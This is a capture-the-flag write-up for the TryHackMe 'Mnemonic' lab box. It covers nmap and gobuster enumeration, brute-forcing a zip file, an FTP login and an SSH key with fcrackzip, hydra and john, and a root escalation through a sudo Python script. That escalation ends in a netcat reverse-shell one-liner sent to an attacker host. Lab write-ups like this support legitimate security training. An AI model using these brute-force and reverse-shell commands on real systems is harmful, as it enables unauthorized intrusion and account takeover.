TryHackMe Mnemonic Writeup

This writeup helps you understand all the steps necessary in order to root the Mnemonic box on TryHackMe. This box is a basic pen testing room and involves some widely used concepts.

TryHackMe Mnemonic – Enumeration

The first step is to check open ports on the system. We use nmap to scan for open ports on the box. We add the sV flag to determine service versions, sC to run some default scripts and -p to quickly scan all 65535 available ports. Run the following command:

nmap -sV -sC -p- <box_ip>

The results can be seen below:

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.3
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
| http-robots.txt: 1 disallowed entry 
|_/webmasters/*
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1337/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e0:42:c0:a5:7d:42:6f:00:22:f8:c7:54:aa:35:b9:dc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+cUIYV9ABbcQFihgqbuJQcxu2FBvx0gwPk5Hn+Eu05zOEpZRYWLq2CRm3++53Ty0R7WgRwayrTTOVt6V7yEkCoElcAycgse/vY+U4bWr4xFX9HMNElYH1UztZnV12il/ep2wVd5nn//z4fOllUZJlGHm3m5zWF/k5yIh+8x7T7tfYNsoJdjUqQvB7IrcKidYxg/hPDWoZ/C+KMXij1n3YXVoDhQwwR66eUF1le90NybORg5ogCfBLSGJQhZhALBLLmxAVOSc4e+nhT/wkhTkHKGzUzW6PzA7fTN3Pgt81+m9vaxVm/j7bXG3RZSzmKlhrmdjEHFUkLmz6bjYu3201
|   256 23:eb:a9:9b:45:26:9c:a2:13:ab:c1:ce:07:2b:98:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOJp4tEjJbtHZZtdwGUu6frTQk1CzigA1PII09LP2Edpj6DX8BpTwWQ0XLNSx5bPKr5sLO7Hn6fM6f7yOy8SNHU=
|   256 35:8f:cb:e2:0d:11:2c:0b:63:f2:bc:a0:34:f3:dc:49 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIiax5oqQ7hT7CgO0CC7FlvGf3By7QkUDcECjpc9oV9k
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

All ports seem interesting. SSH is moved from port 22 to port 1337. Let’s start with enumerating the Apache web server on port 80.

TryHackMe Mnemonic – Enumerating Apache

Browsing to http://<box_ip>/ just displays a single header tag containing the word: Test. There is nothing interesting in the page source. Maybe there is a robots.txt file present? A robots file helps bots understand your website and allow or disallow access on specific pages. By specifying those pages in this file you can sometimes help the attacker find hidden content on your site. Accessing the robots.txt file by browsing to: http://<box_ip>/robots.txt returns the following content:

User-agent: *
Allow: / 
Disallow: /webmasters/*

This indicates that there is a webmasters directory present. Browsing to this directory returns a white page. We can use Gobuster in order to find hidden directories or files within the webmasters directory. Use the common.txt file which can be found here. Running the following command: gobuster dir -u http://<box_ip>/webmasters/ -w /<directroy_of_common.txt>/common.txt gives us the following links

/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/admin (Status: 301)
/backups (Status: 301)
/index.html (Status: 200)

The most interesting directory here is: backups. Let’s try to use gobuster in order to find hidden files within this directory. Run:

gobuster dir -u http://<box_ip>/webmasters/backups/ -w /usr/share/wordlists/common.txt -x 'jpg,png,pdf,zip,tar'

We add the x flag to add extensions to the wordlist used. The most probable extension would be the zip extension, since the file is located in a directory called: backups. Executing the command gives us:

/backups.zip (Status: 200)
/index.html (Status: 200)

TryHackMe Mnemonic – Brute-forcing Zip & FTP

Nice! We just found a zip file. Download the file using your browser or by using wget. When we try to open the file, we see that the zip file is password protected. Luckily we can use fcrackzip to brute-force the password. Run the following command:

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backups.zip

After a few moments, the password is found. Within the zip file we find a note.txt file. This file contains the username ftpuser which indicates that we have to brute-force the ftp password as well. Let’s do so. Run the following command:

hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt <box_ip> ftp

Within a few moments, we find the FTP password. Let’s use these credentials to login to the FTP server.

ftp <box_ip>

TryHackMe Mnemonic – FTP Access

Now we fill in the credentials and we are in! Try to run ls to list the contents of the current directory. The output of this command is:

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 13 21:16 data-1
drwxr-xr-x    2 0        0            4096 Jul 13 21:17 data-10
drwxr-xr-x    2 0        0            4096 Jul 13 21:16 data-2
drwxr-xr-x    2 0        0            4096 Jul 13 21:16 data-3
drwxr-xr-x    4 0        0            4096 Jul 14 18:05 data-4
drwxr-xr-x    2 0        0            4096 Jul 13 21:16 data-5
drwxr-xr-x    2 0        0            4096 Jul 13 21:17 data-6
drwxr-xr-x    2 0        0            4096 Jul 13 21:17 data-7
drwxr-xr-x    2 0        0            4096 Jul 13 21:17 data-8
drwxr-xr-x    2 0        0            4096 Jul 13 21:17 data-9

The data-4 directory contains more files than the other directories. By changing directories to data-4 and list the contents of this directory we find:

drwxr-xr-x    2 0        0            4096 Jul 14 18:04 3
drwxr-xr-x    2 0        0            4096 Jul 14 18:04 4
-rwxr-xr-x    1 1001     1001         1766 Jul 13 20:34 id_rsa
-rwxr-xr-x    1 1000     1000           31 Jul 13 21:18 not.txt

Now we have to get both files to our local machine. Run: get <file_name> for both files. The not.txt contains the following line:

james change ftp user password

TryHackMe Mnemonic – Brute-forcing SSH

Combined with the id_rsa, it seems like this username is used to brute-force an ssh key. Use ssh2john in order to create a valid hash from the private SSH key. You can create the hash by running the command:

jssh2john id_rsa > id_rsa.hash

Then run john using the following command:

john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt 

TryHackMe Mnemonic – User Flag

Got it! Now we can login to the server. Change the permissions of the private key, use port number 1337 (since SSH is running on this port) and login to the server. You have to enter the password twice. The first time for the private key and the second time for SSH itself.

chmod 400 id_rsa
ssh -i id_rsa -p 1337 james@<box_ip>

james@mnemonic:~$ 

And we are in! It seems like you automatically log out after some time. Furthermore, you are not allowed to use cd. We are very limited in our commands. It seems like the find command is working. Let’s first try to find the user flag. Run the following command:

find /home -type f -name user.txt

The output shows that two directories reside inside the home directory of condor which are base64-encoded. Use Cyberchef to decode these messages. The first base64 directory contains the user flag.

TryHackMe Mnemonic – Decoding Mnemonic image

Next is the root flag. We have to find a way to work ourselves towards the root flag. Decode the name of the other base64 directory and you can find a link to an image: https://i.ytimg.com/vi/K-96JmC2AkE/maxresdefault.jpg

Mnemonic maxresdefault

Download this image. Now we have to find a Mnemonic decryptor which uses an image as input. Searching the web got me the following site. The image used in the Readme.md is the same as the box image, so this must be the tool we have to use! Install the tool using the instuctions on the Github page. Then run the tool. The tool decrypts an image by looking up specific pixel values. This list of pixel values might be the 6450.txt file found on the server. cat the contents of this file and create 6450.txt on your local machine. You should now have the list and the image on your local machine. Run the tool and first specify the absolute path of the image. Next, enter 2 for decode. Last, specify the absolute path of the txt file. The outcome should be a password! Great! Now we should be able to login as condor, since we found this file in Condor’s home directory. Login using the following command:

ssh -p 1337 condor@<box_ip> 

TryHackMe Mnemonic – Root flag

When running sudo -l we find out that we are able to run: /usr/bin/python3 /bin/examplecode.py as sudo user. Let’s figure out the contents of the examplecode.py file. Run: cat /bin/examplecode.py

#!/usr/bin/python3
import os
import time
import sys
def text(): #text print 


	print("""

	------------information systems script beta--------
	---------------------------------------------------
	---------------------------------------------------
	---------------------------------------------------
	---------------------------------------------------
	---------------------------------------------------
	---------------------------------------------------
	----------------@author villwocki------------------""")
	time.sleep(2)
	print("\nRunning...")
	time.sleep(2)
	os.system(command="clear")
	main()


def main():
	info()
	while True:
		select = int(input("\nSelect:"))

		if select == 1:
			time.sleep(1)
			print("\nRunning")
			time.sleep(1)
			x = os.system(command="ip a")
			print("Main Menü press '0' ")
			print(x)

		if select == 2:
			time.sleep(1)
			print("\nRunning")
			time.sleep(1)
			x = os.system(command="ifconfig")
			print(x)

		if select == 3:
			time.sleep(1)
			print("\nRunning")
			time.sleep(1)
			x = os.system(command="ip route show")
			print(x)

		if select == 4:
			time.sleep(1)
			print("\nRunning")
			time.sleep(1)
			x = os.system(command="cat /etc/os-release")
			print(x)

		if select == 0: 
			time.sleep(1)
			ex = str(input("are you sure you want to quit ? yes : "))
		
			if ex == ".":
				print(os.system(input("\nRunning....")))
			if ex == "yes " or "y":
				sys.exit()
                      

		if select == 5:                     #root
			time.sleep(1)
			print("\nRunning")
			time.sleep(2)
			print(".......")
			time.sleep(2)
			print("System rebooting....")
			time.sleep(2)
			x = os.system(command="shutdown now")
			print(x)

		if select == 6:
			time.sleep(1)
			print("\nRunning")
			time.sleep(1)
			x = os.system(command="date")
			print(x)




		if select == 7:
			time.sleep(1)
			print("\nRunning")
			time.sleep(1)
			x = os.system(command="rm -r /tmp/*")
			print(x)

                      
              


       


            

def info():                         #info print function
	print("""

	#Network Connections   [1]

	#Show İfconfig         [2]

	#Show ip route         [3]

	#Show Os-release       [4]

        #Root Shell Spawn      [5]           

        #Print date            [6]

	#Exit                  [0]

	""")

def run(): # run function 
	text()

run()

The code seems to run some commands on the operating system itself. If you look closely at the code for command 0 you see that the user can quit the app by providing 0. Whenever the user provided 0, he or she has to provide an answer if he/she really wants to close the application. Here, the user can provide a . as well. This will allow the user to execute commands as being root. However, only one command can be executed. So it is smart to create a reverse shell here. Thus, first start a netcat listener on your local machine.

nc -lvnp 1234

Then provide the following commands in the terminal of the box:

sudo /usr/bin/python3 /bin/examplecode.py
0
.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attack_ip> 1234 >/tmp/f

On your local machine, make sure you run the following commands to create a more stable shell:

export TERM=xterm-256color
python3 -c 'import pty;pty.spawn("/bin/bash")'

ctrl+z

stty raw -echo;fg 
enter
enter

You should now have a stable root shell. Find the root flag using the find command:

find / -name root.txt

The root flag is located in the /root directory. You need to MD5 hash the contents between the brackets in order to fill in the correct value on the website.

I enjoyed completing this box. It contained most of the basic pen test principles. Brute-forcing, finding hidden files and directories on a web server and reversing a python file were all needed in order to complete this box.

Leave a Reply

Your email address will not be published. Required fields are marked *